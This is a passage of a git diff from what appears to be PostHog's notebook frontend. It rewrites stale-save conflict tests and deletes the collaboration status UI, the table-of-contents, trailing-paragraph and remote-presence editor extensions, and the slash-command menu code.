expect(logic.values.previewContent).toBeNull()expect(apiMarkdownSaveSpy).toHaveBeenCalledWith(SHORT_ID,expect.objectContaining({@@ -417,7 +338,7 @@ text`)text_content: '',}- apiUpdateSpy.mockResolvedValueOnce({+ apiMarkdownSaveSpy.mockResolvedValueOnce({...baseNotebook,version: 2,content: localContent,@@ -442,35 +363,39 @@ text`)expect(logic.values.localContent).toBeNull()})- it('keeps the local markdown draft and adopts fresh server content after a stale save conflict', async () => {+ it('merges missed remote diffs and retries when a save hits a stale version', async () => {const baseMarkdown = `# Markdown v2Base paragraph`const localMarkdown = `# Markdown v2Base paragraph with local edit`- const remoteMarkdown = `# Markdown v2--Remote paragraph--Base paragraph`const baseMarkdownNotebook = {...cachedNotebook,content: buildMarkdownNotebookContent(baseMarkdown),text_content: baseMarkdown,}const localContent = buildMarkdownNotebookContent(localMarkdown)++ // First save is rejected as stale with no replayable diffs (410): the logic reloads+ // and keeps the local draft so the editor can merge and retry.+ apiMarkdownSaveSpy.mockRejectedValueOnce({ status: 410 })+ const remoteMarkdown = `# Markdown v2++Remote paragraph++Base paragraph`const remoteNotebook = {...baseMarkdownNotebook,version: 2,content: buildMarkdownNotebookContent(remoteMarkdown),text_content: remoteMarkdown,}+ jest.spyOn(api.notebooks, 'get')+ .mockResolvedValueOnce(baseMarkdownNotebook as NotebookType)+ .mockResolvedValueOnce(remoteNotebook as NotebookType)- apiUpdateSpy.mockRejectedValueOnce({ code: 'conflict' })- jest.spyOn(api.notebooks, 'get').mockResolvedValueOnce(remoteNotebook)-- logic = notebookLogic({ shortId: SHORT_ID, mode: 'notebook', cachedNotebook: baseMarkdownNotebook })+ logic = notebookLogic({ shortId: SHORT_ID, mode: 'notebook' })logic.mount()logic.actions.loadNotebook()await expectLogic(logic).toDispatchActions(['loadNotebookSuccess']).toFinishAllListeners()@@ -479,132 +404,11 @@ Base paragraph`logic.actions.setLocalContent(localContent)logic.actions.saveNotebook({ content: localContent, title: 'Test' })- await expectLogic(logic).toDispatchActions(['saveNotebookSuccess']).toFinishAllListeners()+ await expectLogic(logic).toDispatchActions(['loadNotebookSuccess']).toFinishAllListeners()- expect(apiUpdateSpy).toHaveBeenCalledWith(- SHORT_ID,- expect.objectContaining({- content: localContent,- version: 1,- })- )// The fresh server content flows into the markdown editor's remote-merge path; the local// draft is kept so the editor can merge it and retry the save against the new version.expect(logic.values.notebook?.content).toEqual(remoteNotebook.content)expect(logic.values.localContent).toEqual(localContent)- expect(logic.values.conflictWarningVisible).toBe(false)- })-- it('shows the conflict warning when fresh server content cannot be loaded after a stale save conflict', async () => {- const baseMarkdown = `# Markdown v2--Base paragraph`- const localMarkdown = `# Markdown v2--Base paragraph with local edit`- const baseMarkdownNotebook = {- ...cachedNotebook,- content: buildMarkdownNotebookContent(baseMarkdown),- text_content: baseMarkdown,- }- const localContent = buildMarkdownNotebookContent(localMarkdown)-- apiUpdateSpy.mockRejectedValueOnce({ code: 'conflict' })- jest.spyOn(api.notebooks, 'get').mockRejectedValueOnce(new Error('Network error'))-- logic = notebookLogic({ shortId: SHORT_ID, mode: 'notebook', cachedNotebook: baseMarkdownNotebook })- logic.mount()- logic.actions.loadNotebook()- await expectLogic(logic).toDispatchActions(['loadNotebookSuccess']).toFinishAllListeners()-- logic.actions.setAutosavePaused(true)- logic.actions.setLocalContent(localContent)-- await expectLogic(logic, () => {- logic.actions.saveNotebook({ content: localContent, title: 'Test' })- })- .toDispatchActions(['clearLocalContent', 'showConflictWarning', 'saveNotebookSuccess'])- .toFinishAllListeners()-- expect(logic.values.localContent).toBeNull()- expect(logic.values.conflictWarningVisible).toBe(true)- })-- describe.each([- {- name: 'non-collab mode dispatches PATCH save with historical content',- collab: false,- expectedSave: 'patch' as const,- },- {- name: 'collab mode dispatches collab/save POST with historical content',- collab: true,- expectedSave: 'collab' as const,- },- ])('reverting to a historical version in $name', ({ collab, expectedSave }) => {- it('clears preview, updates editor, and dispatches the right save', async () => {- if (collab) {- featureFlagLogic.actions.setFeatureFlags([FEATURE_FLAGS.NOTEBOOKS_COLLABORATION], {- [FEATURE_FLAGS.NOTEBOOKS_COLLABORATION]: true,- })- // pretend the editor has a pending step ready to send- ;(PMCollab.sendableSteps as jest.Mock).mockReturnValue({- version: 1,- steps: [{ toJSON: () => ({ stepType: 'replace', from: 0, to: 0, slice: { content: [] } }) }],- clientID: 'test-client',- })- }-- // load the notebook- logic = notebookLogic({ shortId: SHORT_ID, mode: 'notebook', cachedNotebook })- logic.mount()- logic.actions.setEditor(stubEditor())- if (collab) {- notebookCollabLogic({ shortId: SHORT_ID }).actions.bindEditor({- state: { selection: { head: 0 } },- on: jest.fn(),- off: jest.fn(),- } as any)- }- logic.actions.loadNotebook()- await expectLogic(logic).toDispatchActions(['loadNotebookSuccess']).toFinishAllListeners()-- // user clicks a history entry- logic.actions.setPreviewContent(HISTORICAL_DOC)- editorSetContent.mockClear()-- // user clicks Revert — mirror the full action sequence in NotebookHistoryWarning.onRevert.- // setShowHistory(false)'s listener fires a second clearPreviewContent, so leaving it out- // would skip part of the sequence that runs in production.- logic.actions.clearPreviewContent()- logic.actions.setLocalContent(HISTORICAL_DOC, true)- logic.actions.setShowHistory(false)- // wait past debounce- await expectLogic(logic)- .delay(SYNC_DELAY + 100)- .toFinishAllListeners()-- expect(editorSetContent).toHaveBeenCalledWith(HISTORICAL_DOC)- expect(logic.values.previewContent).toBeNull()- // localContent is cleared by saveNotebook once the save resolves- expect(logic.values.localContent).toBeNull()-- if (expectedSave === 'collab') {- expect(apiCreateSpy).toHaveBeenCalledWith(- `api/projects/@current/notebooks/${SHORT_ID}/collab/save/`,- expect.objectContaining({ content: HISTORICAL_DOC, client_id: 'test-client' })- )- expect(apiUpdateSpy).not.toHaveBeenCalled()- } else {- expect(apiUpdateSpy).toHaveBeenCalledWith(- SHORT_ID,- expect.objectContaining({ content: HISTORICAL_DOC, version: 1 })- )- expect(apiCreateSpy).not.toHaveBeenCalledWith(- expect.stringContaining(`/notebooks/${SHORT_ID}/collab/save/`),- expect.anything()- )- }- })})})diff --git a/frontend/src/scenes/notebooks/Notebook/NotebookHistory.tsx b/frontend/src/scenes/notebooks/Notebook/NotebookHistory.tsxindex aa8f1da053ad..f36728cd58bf 100644--- a/frontend/src/scenes/notebooks/Notebook/NotebookHistory.tsx+++ b/frontend/src/scenes/notebooks/Notebook/NotebookHistory.tsx@@ -158,11 +158,10 @@ export function NotebookHistoryWarning(): JSX.Element | null {duplicateNotebook()}const onRevert = (): void => {- // updateEditor=true puts the historical doc into the editor so prosemirror-collab- // produces real steps for the delta. Without it, sendableSteps stays empty and the- // collab save is a no-op — revert would silently do nothing.+ // The historical doc becomes the local content and is saved through the normal+ // markdown flow, same as any other edit.clearPreviewContent()- setLocalContent(content, true)+ setLocalContent(content)setShowHistory(false)}diff --git a/frontend/src/scenes/notebooks/Notebook/NotebookIconHeading.tsx b/frontend/src/scenes/notebooks/Notebook/NotebookIconHeading.tsxdeleted file mode 100644index f82ce34df9d6..000000000000--- a/frontend/src/scenes/notebooks/Notebook/NotebookIconHeading.tsx+++ /dev/null@@ -1,9 +0,0 @@-const NotebookIconHeading = ({ level }: { level: number }): JSX.Element => {- return (- <div className="text-base font-semibold">- H<span className="text-xs font-bold">{level}</span>- </div>- )-}--export default NotebookIconHeadingdiff --git a/frontend/src/scenes/notebooks/Notebook/NotebookMeta.tsx b/frontend/src/scenes/notebooks/Notebook/NotebookMeta.tsxindex e5d68f364893..cfa35f651c18 100644--- a/frontend/src/scenes/notebooks/Notebook/NotebookMeta.tsx+++ b/frontend/src/scenes/notebooks/Notebook/NotebookMeta.tsx@@ -1,7 +1,7 @@import { useActions, useValues } from 'kea'import { useCallback, useEffect, useState } from 'react'-import { IconBook, IconSparkles, IconTerminal, IconWarning } from '@posthog/icons'+import { IconSparkles, IconTerminal } from '@posthog/icons'import { LemonButton, LemonButtonProps, LemonTag } from '@posthog/lemon-ui'import { FEATURE_FLAGS } from 'lib/constants'@@ -13,7 +13,6 @@ import { featureFlagLogic } from 'lib/logic/featureFlagLogic'import { ButtonPrimitive } from 'lib/ui/Button/ButtonPrimitives'import { NotebookSyncStatus } from '../types'-import { notebookCollabLogic } from './notebookCollabLogic'import { NotebookLogicProps, notebookLogic } from './notebookLogic'import { NOTEBOOK_AI_PRESENCE_COLOR, type NotebookPresenceParticipant } from './notebookPresence'import { notebookSettingsLogic } from './notebookSettingsLogic'@@ -93,28 +92,6 @@ export const NotebookSyncInfo = (props: NotebookLogicProps): JSX.Element | null) : null}-/**- * Surfaces when the collab SSE is disconnected *and* no reconnect attempt is in flight,- * so the user only sees the warning when something is actually wrong — not during the- * initial connect or the brief gap on a normal reconnect.- */-export const NotebookCollabStatus = (props: NotebookLogicProps): JSX.Element | null => {- const { collabEnabled } = useValues(notebookLogic(props))- const { streamConnected, isConnecting, streamError } = useValues(notebookCollabLogic({ shortId: props.shortId }))-- if (!collabEnabled || streamConnected || isConnecting) {- return null- }-- const tooltip = streamError ? `Live updates paused. Last error: ${streamError}` : 'Live updates paused.'-- return (- <Tooltip title={tooltip} placement="left">- <LemonButton size="small" icon={<IconWarning className="text-warning" />} type="tertiary" />- </Tooltip>- )-}-function notebookPresenceTooltip(participants: NotebookPresenceParticipant[]): string {const visibleNames = participants.slice(0, MAX_PRESENCE_BUBBLES).map((participant) => participant.userName)const overflowCount = participants.length - visibleNames.length@@ -194,24 +171,13 @@ export const NotebookPresence = (props: NotebookLogicProps): JSX.Element | nullinterface NotebookExpandButtonProps extends Pick<LemonButtonProps, 'size' | 'type'> {inPanel: boolean- isMarkdownNotebook?: boolean}-export const NotebookExpandButton = ({- inPanel,- isMarkdownNotebook = false,- ...buttonProps-}: NotebookExpandButtonProps): JSX.Element => {- const { isExpanded, isMarkdownExpanded } = useValues(notebookSettingsLogic)- const { setIsExpanded, setIsMarkdownExpanded } = useActions(notebookSettingsLogic)- const isContentWidthExpanded = isMarkdownNotebook ? isMarkdownExpanded : isExpanded+export const NotebookExpandButton = ({ inPanel, ...buttonProps }: NotebookExpandButtonProps): JSX.Element => {+ const { isMarkdownExpanded: isContentWidthExpanded } = useValues(notebookSettingsLogic)+ const { setIsMarkdownExpanded } = useActions(notebookSettingsLogic)const toggleContentWidth = (): void => {- const nextIsExpanded = !isContentWidthExpanded- if (isMarkdownNotebook) {- setIsMarkdownExpanded(nextIsExpanded)- } else {- setIsExpanded(nextIsExpanded)- }+ setIsMarkdownExpanded(!isContentWidthExpanded)}if (inPanel) {@@ -240,21 +206,6 @@ export const NotebookExpandButton = ({)}-export const NotebookTableOfContentsButton = (props: Pick<LemonButtonProps, 'size' | 'type'>): JSX.Element => {- const { showTableOfContents } = useValues(notebookSettingsLogic)- const { setShowTableOfContents } = useActions(notebookSettingsLogic)-- return (- <LemonButton- {...props}- onClick={() => setShowTableOfContents(!showTableOfContents)}- icon={<IconBook />}- tooltip={showTableOfContents ? 'Hide table of contents' : 'Show table of contents'}- tooltipPlacement="left"- />- )-}-type NotebookKernelInfoButtonProps = Pick<LemonButtonProps, 'children' | 'size' | 'type'> & {onBeforeShowKernelInfo?: () => void}diff --git a/frontend/src/scenes/notebooks/Notebook/NotebookTableOfContents.tsx b/frontend/src/scenes/notebooks/Notebook/NotebookTableOfContents.tsxdeleted file mode 100644index f3902e24789b..000000000000--- a/frontend/src/scenes/notebooks/Notebook/NotebookTableOfContents.tsx+++ /dev/null@@ -1,35 +0,0 @@-import { useActions, useValues } from 'kea'--import { LemonWidget, Link } from '@posthog/lemon-ui'--import { notebookLogic } from './notebookLogic'-import { notebookSettingsLogic } from './notebookSettingsLogic'--export function NotebookTableOfContents(): JSX.Element {- const { editor, tableOfContents } = useValues(notebookLogic)- const { setShowTableOfContents } = useActions(notebookSettingsLogic)-- const onItemClick = (id: string): void => {- const item = tableOfContents.find((i) => i.id === id)-- if (item && editor) {- editor.scrollToPosition(item.pos)- }- }-- return (- <LemonWidget title="Table of Contents" onClose={() => setShowTableOfContents(false)}>- {tableOfContents.length === 0 ? (- <div>Start editing your Notebook to see the outline.</div>- ) : (- tableOfContents.map((item) => (- <div key={item.id} style={{ paddingLeft: 12 * item.level }}>- <Link onClick={() => onItemClick(item.id)} subtle>- {item.textContent}- </Link>- </div>- ))- )}- </LemonWidget>- )-}diff --git a/frontend/src/scenes/notebooks/Notebook/NotebookTrailingParagraph.ts b/frontend/src/scenes/notebooks/Notebook/NotebookTrailingParagraph.tsdeleted file mode 100644index f49cded07b5d..000000000000--- a/frontend/src/scenes/notebooks/Notebook/NotebookTrailingParagraph.ts+++ /dev/null@@ -1,56 +0,0 @@-import { Extension } from '@tiptap/core'-import { Plugin, PluginKey, TextSelection } from '@tiptap/pm/state'--/**- * Notion-like behavior: clicking in empty space below the last block- * creates a new empty paragraph and focuses it. If the last node is- * already an empty paragraph, it just focuses that one.- */-export const NotebookTrailingParagraph = Extension.create({- name: 'notebookTrailingParagraph',-- addProseMirrorPlugins() {- return [- new Plugin({- key: new PluginKey('notebookTrailingParagraph'),- props: {- handleDOMEvents: {- mousedown: (view, event) => {- if (!view.editable) {- return false- }-- const lastChild = view.dom.lastElementChild- if (!lastChild) {- return false- }-- if (event.clientY <= lastChild.getBoundingClientRect().bottom) {- return false- }-- event.preventDefault()-- const { doc, tr, schema } = view.state- const lastNode = doc.lastChild-- if (lastNode?.type.name === 'paragraph' && lastNode.content.size === 0) {- // Empty paragraph already exists - just focus it- view.dispatch(tr.setSelection(TextSelection.create(doc, doc.content.size - 1)))- } else {- // Insert a new empty paragraph and focus it- const endPos = doc.content.size- tr.insert(endPos, schema.nodes.paragraph.create())- tr.setSelection(TextSelection.create(tr.doc, endPos + 1))- view.dispatch(tr)- }-- view.focus()- return true- },- },- },- }),- ]- },-})diff --git a/frontend/src/scenes/notebooks/Notebook/RangeSelectedNodes.ts b/frontend/src/scenes/notebooks/Notebook/RangeSelectedNodes.tsdeleted file mode 100644index d01ba00eb81d..000000000000--- a/frontend/src/scenes/notebooks/Notebook/RangeSelectedNodes.ts+++ /dev/null@@ -1,44 +0,0 @@-import { Extension } from '@tiptap/core'-import { Plugin, PluginKey } from '@tiptap/pm/state'-import { Decoration, DecorationSet } from '@tiptap/pm/view'--// This plugin decorates atom blocks (insights, sql, python, etc.)-// so they can pick up the same highlight as a directly-selected node.-const pluginKey = new PluginKey('rangeSelectedNodes')--export const RangeSelectedNodes = Extension.create({- name: 'rangeSelectedNodes',-- addProseMirrorPlugins() {- return [- new Plugin({- key: pluginKey,- props: {- decorations(state) {- const { from, to, empty } = state.selection- if (empty) {- return DecorationSet.empty- }- const decorations: Decoration[] = []- state.doc.nodesBetween(from, to, (node, pos) => {- if (!node.isAtom || !node.isBlock) {- return true- }- const nodeFrom = pos- const nodeTo = pos + node.nodeSize- if (from <= nodeFrom && nodeTo <= to) {- decorations.push(- Decoration.node(nodeFrom, nodeTo, {- class: 'NotebookNode--in-selection',- })- )- }- return false- })- return DecorationSet.create(state.doc, decorations)- },- },- }),- ]- },-})diff --git a/frontend/src/scenes/notebooks/Notebook/RemotePresenceExtension.ts b/frontend/src/scenes/notebooks/Notebook/RemotePresenceExtension.tsdeleted file mode 100644index 2e7e786edf42..000000000000--- a/frontend/src/scenes/notebooks/Notebook/RemotePresenceExtension.ts+++ /dev/null@@ -1,159 +0,0 @@-import { Extension } from '@tiptap/core'-import { EditorState, Plugin, PluginKey } from '@tiptap/pm/state'-import { Decoration, DecorationSet } from '@tiptap/pm/view'--import { getSeriesColor } from 'lib/colors'--import type { RemotePresence } from './notebookCollabLogic'--// Remote presence, used both as:-// - the meta payload dispatched to the plugin `transaction.setMeta(REMOTE_PRESENCE_META, ...)`-// - the per-client value stored in plugin state-// `lastSeenAt` is stamped by the logic at dispatch time and used here only for TTL pruning.-export type ClientPresence = RemotePresence & {- clientId: string- lastSeenAt: number-}--type PluginState = {- // keyed by clientId- clients: Map<string, ClientPresence>-}--export const REMOTE_PRESENCE_META = 'remote-presence-update'-const META_PRUNE = 'remote-presence-prune'-const PRESENCE_TTL_MS = 30_000--export const remotePresencePluginKey = new PluginKey<PluginState>('remote-presence')--function buildDecorations(state: EditorState, clients: Map<string, ClientPresence>): DecorationSet {- if (clients.size === 0) {- return DecorationSet.empty- }- const docSize = state.doc.content.size- const decorations: Decoration[] = []-- for (const presence of clients.values()) {- const head = clamp(presence.head, 0, docSize)-- // Caret as a side-positioned widget. side:-1 keeps it in front of any- // text inserted at the same position by the local user, so the local- // caret still wins visually. Range-selection highlights will land with- // the separate :presence-stream (clicks/drags without edits).- decorations.push(- Decoration.widget(head, () => buildCaretDom(presence), {- key: `presence-${presence.clientId}`,- side: -1,- })- )- }-- return DecorationSet.create(state.doc, decorations)-}--function buildCaretDom(presence: ClientPresence): HTMLElement {- const root = document.createElement('span')- root.className = 'NotebookRemotePresence'- root.style.setProperty('--remote-presence-color', getSeriesColor(presence.userId))- root.dataset.clientId = presence.clientId-- const flag = document.createElement('span')- flag.className = 'NotebookRemotePresence__flag'- flag.textContent = presence.userName- root.appendChild(flag)-- return root-}--function clamp(n: number, min: number, max: number): number {- if (n < min) {- return min- }- if (n > max) {- return max- }- return n-}--function pruneStale(clients: Map<string, ClientPresence>, now: number): Map<string, ClientPresence> | null {- let next: Map<string, ClientPresence> | null = null- for (const [id, p] of clients) {- if (now - p.lastSeenAt > PRESENCE_TTL_MS) {- if (!next) {- next = new Map(clients)- }- next.delete(id)- }- }- return next-}--export const RemotePresenceExtension = Extension.create({- name: 'remotePresence',-- addProseMirrorPlugins() {- const plugin = new Plugin<PluginState>({- key: remotePresencePluginKey,- state: {- init: () => ({ clients: new Map() }),- apply: (transaction, prev): PluginState => {- let clients = prev.clients-- // 1. Project stored positions (pre-transaction coords) forward through any doc changes.- if (transaction.docChanged && clients.size > 0) {- const mapped = new Map<string, ClientPresence>()- for (const [id, p] of clients) {- mapped.set(id, { ...p, head: transaction.mapping.map(p.head) })- }- clients = mapped- }-- // 2. Apply meta after mapping: an upsert piggybacked on a remote step already- // carries post-transaction coords, so mapping it again would double-shift.- const meta = transaction.getMeta(REMOTE_PRESENCE_META) as ClientPresence | undefined- if (meta) {- clients = new Map(clients)- clients.set(meta.clientId, meta)- } else if (transaction.getMeta(META_PRUNE)) {- const pruned = pruneStale(clients, Date.now())- if (pruned) {- clients = pruned- }- }-- return clients === prev.clients ? prev : { clients }- },- },- props: {- decorations(state) {- const pluginState = remotePresencePluginKey.getState(state)- if (!pluginState) {- return null- }- return buildDecorations(state, pluginState.clients)- },- },- view: (view) => {- // Periodic prune so abandoned remote carets fade out even if- // we never receive another transaction for the doc.- const interval = window.setInterval(() => {- const pluginState = remotePresencePluginKey.getState(view.state)- if (!pluginState || pluginState.clients.size === 0) {- return- }- const stale = pruneStale(pluginState.clients, Date.now())- if (stale) {- view.dispatch(view.state.tr.setMeta(META_PRUNE, true))- }- }, 5_000)- return {- destroy() {- window.clearInterval(interval)- },- }- },- })-- return [plugin]- },-})diff --git a/frontend/src/scenes/notebooks/Notebook/SlashCommands.tsx b/frontend/src/scenes/notebooks/Notebook/SlashCommands.tsxdeleted file mode 100644index 74becbc6c0a0..000000000000--- a/frontend/src/scenes/notebooks/Notebook/SlashCommands.tsx+++ /dev/null@@ -1,811 +0,0 @@-import { Extension } from '@tiptap/core'-import { ReactRenderer } from '@tiptap/react'-import Suggestion from '@tiptap/suggestion'-import { useValues } from 'kea'-import { forwardRef, useCallback, useEffect, useImperativeHandle, useMemo, useState } from 'react'--import {- IconCode,- IconCursor,- IconDatabase,- IconFlask,- IconFunnels,- IconGraph,- IconHogQL,- IconLifecycle,- IconPeople,- IconRetention,- IconRewindPlay,- IconStickiness,- IconTrends,- IconUpload,- IconUserPaths,-} from '@posthog/icons'-import { LemonButton, LemonDivider, lemonToast } from '@posthog/lemon-ui'--import { KeyboardShortcut } from 'lib/components/KeyboardShortcut/KeyboardShortcut'-import { EditorCommands, EditorRange } from 'lib/components/RichContentEditor/types'-import { FEATURE_FLAGS } from 'lib/constants'-import { IconBold, IconItalic, IconTableChart } from 'lib/lemon-ui/icons'-import { LemonMenu, LemonMenuItem } from 'lib/lemon-ui/LemonMenu'-import { Popover } from 'lib/lemon-ui/Popover'-import { featureFlagLogic } from 'lib/logic/featureFlagLogic'-import { selectFiles } from 'lib/utils/file-utils'-import { createFuse } from 'lib/utils/fuseSearch'-import { isKeyOf } from 'lib/utils/guards'-import { ValueOf } from 'lib/utils/types'--import { defaultDataTableColumns } from '~/queries/nodes/DataTable/utils'-import { NodeKind } from '~/queries/schema/schema-general'-import { BaseMathType, ChartDisplayType, FunnelVizType, PathType, RetentionPeriod } from '~/types'--import { addExperimentsToNotebookModalLogic } from '../AddExperimentsToNotebookModal/addExperimentsToNotebookModalLogic'-import { addInsightsToNotebookModalLogic } from '../AddInsightsToNotebookModal/addInsightsToNotebookModalLogic'-import { NODE_ICONS } from '../nodeIcons'-import { buildInsightVizQueryContent, buildNodeEmbed, buildNodeQueryContent } from '../Nodes/nodeBuilders'-import { NotebookNodeType } from '../types'-import NotebookIconHeading from './NotebookIconHeading'-import { notebookLogic } from './notebookLogic'--type SlashCommandConditionalProps =- | {- mode: 'add'- getPos: () => number- range?: never- }- | {- mode: 'slash'- getPos?: never- range: EditorRange- }--type SlashCommandsProps = SlashCommandConditionalProps & {- query?: string- decorationNode?: any- onClose?: () => void-}--type SlashCommandsPopoverProps = SlashCommandsProps & {- visible: boolean- children?: JSX.Element-}--type SlashCommandsRef = {- onKeyDown: (event: KeyboardEvent) => boolean-}--type SlashCommandsItem = {- title: string- search?: string- icon?: JSX.Element- command: (chain: EditorCommands, pos: number | EditorRange) => EditorCommands | Promise<EditorCommands>- featureFlag?: ValueOf<typeof FEATURE_FLAGS>-}--type SlashCommandCategory = {- title: string- icon?: JSX.Element- items: SlashCommandsItem[]-}--const TEXT_CONTROLS: SlashCommandsItem[] = [- {- title: 'h1',- icon: <NotebookIconHeading level={1} />,- command: (chain) => chain.toggleHeading({ level: 1 }),- },- {- title: 'h2',- icon: <NotebookIconHeading level={2} />,- command: (chain) => chain.toggleHeading({ level: 2 }),- },- {- title: 'h3',- icon: <NotebookIconHeading level={3} />,- command: (chain) => chain.toggleHeading({ level: 3 }),- },- {- title: 'bold',- icon: <IconBold />,- command: (chain) => chain.toggleBold(),- },- {- title: 'italic',- icon: <IconItalic />,- command: (chain) => chain.toggleItalic(),- },-]--const SLASH_COMMAND_CATEGORIES: SlashCommandCategory[] = [- {- title: 'Insight',- icon: <IconGraph color="currentColor" />,- items: [- {- title: 'Trend',- search: 'graph trend insight',- icon: <IconTrends color="currentColor" />,- command: (chain, pos) =>- chain.insertContentAt(- pos,- buildInsightVizQueryContent({- kind: NodeKind.TrendsQuery,- filterTestAccounts: false,- series: [- {- kind: NodeKind.EventsNode,- event: '$pageview',- name: '$pageview',- math: BaseMathType.TotalCount,- },- ],- interval: 'day',- trendsFilter: {- display: ChartDisplayType.ActionsLineGraph,- },- })- ),- },- {- title: 'Funnel',- search: 'funnel insight',- icon: <IconFunnels color="currentColor" />,- command: (chain, pos) =>- chain.insertContentAt(- pos,- buildInsightVizQueryContent({- kind: NodeKind.FunnelsQuery,- series: [- {- kind: NodeKind.EventsNode,- name: '$pageview',- event: '$pageview',- },- {- kind: NodeKind.EventsNode,- name: '$pageview',- event: '$pageview',- },- ],- funnelsFilter: {- funnelVizType: FunnelVizType.Steps,- },- })- ),- },- {- title: 'Retention',- search: 'retention insight',- icon: <IconRetention color="currentColor" />,- command: (chain, pos) =>- chain.insertContentAt(- pos,- buildInsightVizQueryContent({- kind: NodeKind.RetentionQuery,- retentionFilter: {- period: RetentionPeriod.Day,- totalIntervals: 11,- targetEntity: {- id: '$pageview',- name: '$pageview',- type: 'events',- },- returningEntity: {- id: '$pageview',- name: '$pageview',- type: 'events',- },- retentionType: 'retention_first_time',- },- })- ),- },- {- title: 'Paths',- search: 'user paths insight',- icon: <IconUserPaths color="currentColor" />,- command: (chain, pos) =>- chain.insertContentAt(- pos,- buildInsightVizQueryContent({- kind: NodeKind.PathsQuery,- pathsFilter: {- includeEventTypes: [PathType.PageView],- },- })- ),- },- {- title: 'Stickiness',- search: 'stickiness insight',- icon: <IconStickiness color="currentColor" />,- command: (chain, pos) =>- chain.insertContentAt(- pos,- buildInsightVizQueryContent({- kind: NodeKind.StickinessQuery,- series: [- {- kind: NodeKind.EventsNode,- name: '$pageview',- event: '$pageview',- math: BaseMathType.TotalCount,- },- ],- stickinessFilter: {},- })- ),- },- {- title: 'Lifecycle',- search: 'lifecycle insight',- icon: <IconLifecycle color="currentColor" />,- command: (chain, pos) =>- chain.insertContentAt(- pos,- buildInsightVizQueryContent({- kind: NodeKind.LifecycleQuery,- series: [- {- kind: NodeKind.EventsNode,- name: '$pageview',- event: '$pageview',- math: BaseMathType.TotalCount,- },- ],- })- ),- },- {- title: 'Saved insight',- search: 'insight saved existing browse',- icon: <IconGraph color="currentColor" />,- command: (chain, pos) => {- addInsightsToNotebookModalLogic.actions.openModal(typeof pos === 'number' ? pos : null)- return chain- },- },- ],- },- {- title: 'SQL',- icon: <IconHogQL color="currentColor" />,- items: [- {- title: 'SQL',- search: 'sql hogql query',- icon: <IconHogQL color="currentColor" />,- command: (chain, pos) =>- chain.insertContentAt(- pos,- buildNodeQueryContent({- kind: NodeKind.DataTableNode,- source: {- kind: NodeKind.HogQLQuery,- query: `select event,- person.properties.email,- properties.$browser,- count()- from events- where {filters} -- replaced with global date and property filters- and person.properties.email is not null-group by event,- properties.$browser,- person.properties.email-order by count() desc- limit 100`,- filters: {- dateRange: {- date_from: '-24h',- },- },- },- })- ),- },- {- title: 'SQL (DuckDB)',- search: 'duck sql',- icon: NODE_ICONS[NotebookNodeType.DuckSQL],- command: (chain, pos) =>- chain.insertContentAt(pos, {- type: NotebookNodeType.DuckSQL,- attrs: {- code: '',- returnVariable: 'duck_df',- __init: {- showSettings: true,- },- },- }),- featureFlag: FEATURE_FLAGS.NOTEBOOK_PYTHON,- },- {- title: 'SQL (HogQL)',- search: 'hogql sql',- icon: NODE_ICONS[NotebookNodeType.HogQLSQL],- command: (chain, pos) =>- chain.insertContentAt(pos, {- type: NotebookNodeType.HogQLSQL,- attrs: {- code: '',- returnVariable: 'hogql_df',- __init: {- showSettings: true,- },- },- }),- featureFlag: FEATURE_FLAGS.NOTEBOOK_PYTHON,- },- {- title: 'Python',- search: 'python',- icon: NODE_ICONS[NotebookNodeType.Python],- command: (chain, pos) =>- chain.insertContentAt(pos, {- type: NotebookNodeType.Python,- attrs: {- code: '',- __init: {- showSettings: true,- },- },- }),- featureFlag: FEATURE_FLAGS.NOTEBOOK_PYTHON,- },- ],- },- {- title: 'Data',- icon: <IconDatabase />,- items: [- {- title: 'Events',- search: 'data explore',- icon: <IconCursor />,- command: (chain, pos) =>- chain.insertContentAt(- pos,- buildNodeQueryContent({- kind: NodeKind.DataTableNode,- source: {- kind: NodeKind.EventsQuery,- select: defaultDataTableColumns(NodeKind.EventsQuery),- properties: [],- after: '-24h',- limit: 100,- },- })- ),- },- {- title: 'People',- search: 'persons users',- icon: <IconPeople />,- command: (chain, pos) =>- chain.insertContentAt(- pos,- buildNodeQueryContent({- kind: NodeKind.DataTableNode,- columns: defaultDataTableColumns(NodeKind.ActorsQuery),- source: {- kind: NodeKind.ActorsQuery,- select: defaultDataTableColumns(NodeKind.ActorsQuery),- properties: [],- },- })- ),- },- {- title: 'Session recordings',- search: 'video replay',- icon: <IconRewindPlay />,- command: (chain, pos) =>- chain.insertContentAt(pos, { type: NotebookNodeType.RecordingPlaylist, attrs: {} }),- },- ],- },- {- title: 'Experiments',- icon: <IconFlask />,- items: [- {- title: 'Experiment',- search: 'experiment ab test saved existing browse',- icon: <IconFlask />,- command: (chain, pos) => {- addExperimentsToNotebookModalLogic.actions.openModal(typeof pos === 'number' ? pos : null)- return chain- },- },- ],- },- {- title: 'Media',- icon: <IconUpload />,- items: [- {- title: 'Image',- search: 'picture gif',- icon: <IconUpload />,- command: async (chain, pos) => {- // Trigger upload followed by insert- try {- const files = await selectFiles({ contentType: 'image/*', multiple: false })-- if (files.length) {- return chain.insertContentAt(pos, {- type: NotebookNodeType.Image,- attrs: { file: files[0] },- })- }- } catch {- lemonToast.error('Something went wrong when trying to select a file.')- }-- return chain- },- },- {- title: 'Table',- search: 'table grid spreadsheet',- icon: <IconTableChart />,- command: (chain, pos) =>- chain.insertContentAt(pos, {- type: 'table',- content: [- {- type: 'tableRow',- content: [- { type: 'tableCell', content: [{ type: 'paragraph' }] },- { type: 'tableCell', content: [{ type: 'paragraph' }] },- { type: 'tableCell', content: [{ type: 'paragraph' }] },- ],- },- {- type: 'tableRow',- content: [- { type: 'tableCell', content: [{ type: 'paragraph' }] },- { type: 'tableCell', content: [{ type: 'paragraph' }] },- { type: 'tableCell', content: [{ type: 'paragraph' }] },- ],- },- {- type: 'tableRow',- content: [- { type: 'tableCell', content: [{ type: 'paragraph' }] },- { type: 'tableCell', content: [{ type: 'paragraph' }] },- { type: 'tableCell', content: [{ type: 'paragraph' }] },- ],- },- ],- }),- },- {- title: 'Embedded iframe',- search: 'iframe embed',- icon: <IconCode />,- command: async (chain, pos) => {- return chain.insertContentAt(pos, buildNodeEmbed())- },- },- {- title: 'LaTeX',- search: 'latex math formula equation',- icon: NODE_ICONS[NotebookNodeType.Latex],- command: (chain, pos) =>- chain.insertContentAt(pos, {- type: NotebookNodeType.Latex,- attrs: { content: '' }, // Default empty content- }),- },- ],- },-]--/** Flatten all categories into a single list of commands, respecting feature flags. */-function flattenCommands(- categories: SlashCommandCategory[],- featureFlags: Record<string, boolean | string | undefined>-): SlashCommandsItem[] {- return 